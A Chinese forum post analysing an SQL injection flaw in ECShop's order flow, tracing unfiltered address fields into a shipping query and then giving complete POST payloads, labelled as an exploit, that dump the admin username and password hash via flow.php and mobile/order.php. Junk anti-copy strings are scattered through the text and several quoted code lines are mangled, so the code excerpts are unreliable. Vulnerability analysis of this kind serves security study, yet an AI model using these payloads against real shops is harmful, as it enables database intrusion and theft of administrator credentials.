找回密码
 立即注册
查看: 2677|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。8 a0 ~, j9 }( f

1 D1 l  O+ }0 i# V7 {, R    漏洞关键文件:. ]2 v9 \; F9 I9 }  C. I; [$ j% o

8 W! I' F6 N; d    /includes/lib_order.php0 _5 s8 B, p! f/ k/ D$ N' `- b" T

3 a1 P& d0 k' H5 C$ R7 b    关键函数:" L  D- u5 Q5 v7 g4 ]9 |
, l: T+ i8 [3 m4 F6 n

; {) b9 r6 M& }7 c
8 |& R2 a0 E' v. O01     function available_shipping_list($region_id_list)
1 T" T% i6 {* t; ^
- {0 |& u9 r4 S0 j$ s& h02 {
$ J7 B# ^) A4 V# I. S0 B0 ^( F- Z: Y" {
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# ~' L5 X% l  {: ?/ o! K% S6 K6 B8 D8 T& x5 Q" H$ P
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
9 P* c! `7 V- k, \# A9 l' a4 K2 d5 a# \) D- I  S
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 G" P, P  {  I; s, p3 V, W

6 S* @4 _. c! V06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
9 q1 A; f5 r9 v. f( v, b
0 N( E7 n5 d& ~07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 c# W# N- b& }& {

$ d9 U. A6 n" c) `  R" y08             'WHERE r.region_id ' . db_create_in($region_id_list) .
! j8 F: q5 ]" g& p" `  ~5 X8 c& p0 d( I+ x+ ?
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ G5 P. _1 N0 r4 b) w2 Q2 N  X
# ^: E& h- E. L! V/ R  l10   
1 D2 h; y& ~2 K, c
7 Y+ S1 h8 j- ]* m" R# _: c11     return $GLOBALS['db']->getAll($sql); - R$ o, V, o1 U
' s. R- I5 E7 R# ~) k% O
12 }
6 r' }9 Q, b- E. F* [1 S/ V) p" W6 g* K8 c* Q' m3 E, y
显然对传入的参数没有任何过滤就带入了查询语句。  l9 t' r( H- m# D) f- S; l8 M
& V4 a4 }; Z) h
下面我们追踪这个函数在flow.php中:6 H4 o/ {) G9 A4 q% N2 l+ G
第531行:   , a  L% T" Q, v: p; W& Z

# B+ N) X5 f; H4 l& _" r1 $shipping_list     = available_shipping_list($region);
* Q2 r7 R3 Z9 Y3 o( b1 W7 l4 ~) {- \

' \3 s- P+ s# A# E* p7 ]) S7 P1 X! T2 R
! ?2 Z& }/ I* b! n7 W5 T0 R' J7 h
" T: S+ y3 H% f' S& M& L
再对传入变量进行追踪:
0 ?3 n9 C- r$ T& m, t$ l% L0 \' h, {5 o" G; |9 C& H
第530行:    $ _- f' _/ D1 i1 P/ L6 U. r
0 T# u# j) H5 {0 {, a
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 2 I# W2 O+ h2 t# K

* y2 i7 F- v4 a. S) r6 e
3 t. t$ ~: x/ P- j' c4 r% X6 u& {% k% l. w; i8 _6 \  S+ ?

! q2 {, Z# j5 ^/ X* F$ s2 ]
/ N) \% }( c. N( p" ]6 z4 r4 u第473行:        
5 p& |3 ?' R/ f: M' {6 v! @1 X$ x& |* V& M
1 $consignee = get_consignee($_SESSION['user_id']);
' ^- D" V& E4 l  q+ Q2 E( e
; I* q6 n/ B* w8 i; T+ \7 _; s到了一个关键函数:
, V' W3 Z8 b9 |+ l/ P8 ?1 u2 ?! }, z. S) a7 W* A5 `& T
/includes/lib_order.php
) G* g+ E  L5 F8 Y9 v  A+ D) d5 k( d9 o/ R( L1 R6 r$ I

" V* u, F9 W8 O2 P' D' i7 y# P
3 |( P% K* B  E, ]% U
7 e7 J  N8 V1 Y' k9 K0 N& p( c" A8 E9 {" m0 U# R1 D* V
01 function get_consignee($user_id) % {( [2 t0 T" B8 M. a. g, P  J$ ?7 k* v
( J3 D% }" |2 O2 `2 r4 b& r! [% T
02 {
& l) \# D9 O( P9 ]
" ?9 j- J4 ?& [& |, o9 u03     if (isset($_SESSION['flow_consignee'])) : Q6 R5 c+ e; @; r8 t. n

$ q2 p  v! J1 M7 z04     {
! A9 ]; u" {* m+ z, ^. d" V3 R9 m1 W: [% I# \
05         /* 如果存在session,则直接返回session中的收货人信息 */
, w' H% h  y$ P# ~5 f  r0 r! z
8 A* q# g0 Y; J6 ^  Z06   9 j* Z' i0 Y0 Y6 P+ ~8 m

1 Q; z9 e  A. }, c1 c& G07         return $_SESSION['flow_consignee']; 6 m* k. L$ O/ D+ I6 i: f1 @

6 E, ^* P% @7 u6 [9 z6 F* ^08     } 2 U- R, H5 G. u/ M2 X
7 s6 U" f: `: `0 n
09     else
% a9 \) V! Z+ J+ O2 X5 N
) U7 @% _$ @* _6 `2 ^10     { / J( ~  q( p! U5 H4 U
- x' P% c7 y% e  p8 e
11         /* 如果不存在,则取得用户的默认收货人信息 */ . m3 q0 E6 m# B# A

5 P- C! Q& c: Z9 K) p# f12         $arr = array();
$ A# h+ Q! {" h  F* u* W3 p& r1 I6 G0 j+ ~6 L
13   4 B: O' U( L" o4 D! {
3 O" H1 V, k' Y& Y( z) ]
14         if ($user_id > 0)   s5 E6 I6 \: x/ i7 |" Q' R

- z3 M* L/ S( m) k/ r' w9 g7 x15         { 2 v! J( K3 X5 K9 X- N  b% @. J

7 m1 B$ y5 X; E16             /* 取默认地址 */
* q( F2 ~7 l$ C4 B( y" Q$ ~# L2 o. t
17             $sql = "SELECT ua.*".
" Y# B& r& j4 Z7 y3 G; T' ~0 B. U6 U# C" G3 k; ?5 @
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. & L4 S' D, F- r) r

. g- d6 K+ G: i9 _19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ) o- G8 F% E' a. ~
( c2 ~0 c4 U! k% u
20   3 z" y9 v- l+ C1 @+ c& ]

  Q2 ~7 }% U  j$ O6 ~; m! a21             $arr = $GLOBALS['db']->getRow($sql); 2 C# Z" z3 h1 y9 S% _+ c! y

. ~# w6 |0 U$ m7 _/ w22         }
, x* O  K+ j4 X+ r0 d6 C
0 W1 c3 V6 Y* t! j) s23   
5 m+ \' z0 Y  p  O) i( a8 A5 m2 t* M' _
24         return $arr;
1 b# g  G! }# h' ~/ O) ?8 p0 K  \. o; o; W, c
25     } 2 ?, ~( s' v. X% P

9 I# q# u% q% O% e$ p5 M5 y26 } 5 r5 v# p; }! |; L2 x0 N

! e: U) z% G" v& l) r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
  ?0 }. _) b2 d$ T
0 V8 ^* |, ~# j8 ?9 H- @' E9 z . h# r& a' H( D1 R

5 i, ^" c1 \* A2 {关键点:7 J% n* f/ R5 E2 E8 g0 {

  H* P5 i9 z& Z$ K4 _# w: c# O第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
- @' Q# X+ j  N- P+ K/ K0 e- o! C' e- m# m# f
这里对传入参数反转义存入$_SESSION中。
9 |! ?4 X6 a# X( H3 r3 k2 @5 d/ I% {2 Y- A- P3 K& d" g4 D% [" G8 H
2 K( y5 u/ t, U7 h6 u
3 [9 W1 E% _  e# [& u" [8 Y
然后看下:' D9 }2 `3 b/ x  M0 B8 S$ f( y9 O

3 P+ t) M7 r# A/ e+ D9 \. d" Q
9 E$ q& \6 U2 Q: ]
, F$ j% i' }- M1 b) \: w9 n% g3 r    0 P" ?$ p4 R; K: z! P: J, P
1 @6 i0 f& b( m  w
01 $consignee = array(
3 D- L/ T% P0 ~& h! W& q- N$ N! R5 L, d1 N* C% P% |
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), * X  }4 l2 m! |+ f, i
7 e, y. ]& M. w5 A" F
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 0 {# [% C8 K5 X/ `- v

5 k" |( \+ ]" s$ \: Q& p7 h04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
9 b; a5 e- N1 H- w! U0 r5 o. z: X/ z! e# t# n+ ^4 _
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
2 i* u6 K; B. {! K  _# K" n# x8 J* q7 g/ F
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], & L( a1 ~# `) h) T% R! O

9 \. y$ F+ H* M2 e07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
& }5 P& f9 \/ S8 q# H4 _6 e  T9 j4 O# R$ B% e7 s
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
+ D) z, J3 e7 }- M
% R9 @  }+ m# Y6 ^$ e! W09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 9 x! `8 X* c( {- N2 e
4 l! \6 p1 y% ]: K- l& Y3 Q3 y# Y
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
4 t% E3 h5 E5 N( B- M- Y2 n0 i/ ~4 Q$ N* Z9 @" d+ N$ u' \
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
1 o, f( o+ y7 P! N
7 k- H/ ]- ]" u% k12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
3 x" E6 C% V  Y  l( B
' |7 [& b6 n# S, g' L/ A13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
/ ~1 j1 ^% _: z# ^& Q$ E, h, A
) _* r- ^0 r6 f: \% a" F" q14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ' @4 |  p" X7 ?/ N0 [8 w& B  v
& e2 f0 ?8 J7 L9 t2 r3 M8 @
15     );
6 B7 _; h8 B+ A
' Z( K, ~& k% e# I& I好了注入就这样出现了。9 p9 I" l( M6 ^5 i8 I6 ]0 H8 K

$ a2 ~/ M; z  b- n7 _! D==================
0 s0 x' ^8 z8 M8 j# u) v' c9 T4 f# H# o5 y  Y! ~+ m' O+ Y
注入测试:
! `- l4 j. k8 C
$ ^6 N# F; y& }4 G% q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 X1 ]( D2 k8 ~6 K% D

/ A6 ?* ^5 J9 ~测试程序:ECShop_V2.7.3_UTF8_release1106) [# k- p! h1 z/ }# T; r

! J# N+ C9 A# r9 K
1 A& E% Z8 T1 q, L) y% i
9 u) m+ H% G" p9 ?. b6 `% `; I1.首先需要点击一个商品加入购物车) m/ _3 H; g' v' q% I8 N% e3 q

4 _0 ^: q& W& W2.注册一个会员帐号
4 F: c- B: \& S1 N1 U. n) W
8 E* f9 B6 z. @" @# K4 L3.post提交数据( P" ^; g' c0 }, B
; R: I6 D$ H' r' D
2 S* a: i) D1 M3 e- @

( |9 E! ~' _$ Z7 z7 D1 http://127.0.0.1/ecshop/flow.php
  D' ~! N  ^# j8 f: @" |: q) }5 F& D* x3 N0 {+ E/ s0 @) O
2   ; i) a/ ^3 Z7 G$ [6 o) B

* v0 t2 m) A4 S8 v3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
3 d) k5 S+ h2 a5 c5 O, g! z+ }, n2 G举一反三,我们根据这个漏洞我们可以继续深入挖掘:' W0 Q% v, y* k# E0 j6 |- t- I

8 u  l: m6 C1 y9 H我们搜寻关键函数function available_shipping_list()
* A, a: N& ]0 U5 P& `7 [8 P- K1 I8 W; D
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
/ C: U& J3 J: i. ]; e  N7 r$ o% N
利用exp:
5 P& B/ |9 m; X
4 S9 L7 N# o2 a7 R3 z. s1.点击一个商品,点击购买商标
: S# r# O: M1 ~8 Y/ K5 {5 b, }( p& M( Z
2.登录会员帐号+ A1 ?: f7 z. o7 T) R
' w& L0 y! Y3 g9 c3 X. O, k
3.post提交:0 h( ]' T% y! n% o

6 k* s& V8 \% W) \4 }+ e$ b+ @http://127.0.0.1/ecshop/mobile/order.php% z3 u) W7 F2 T9 ~4 j& d* v+ `

, T& e$ `/ _; Y# W- ~ ! P, J" ~& [, J$ o( C/ X( g: u

) H% g+ }2 T, _! a: F( }country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=+ ?- u0 \9 O! t# [5 a

- g1 W" p. s. G" N# Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表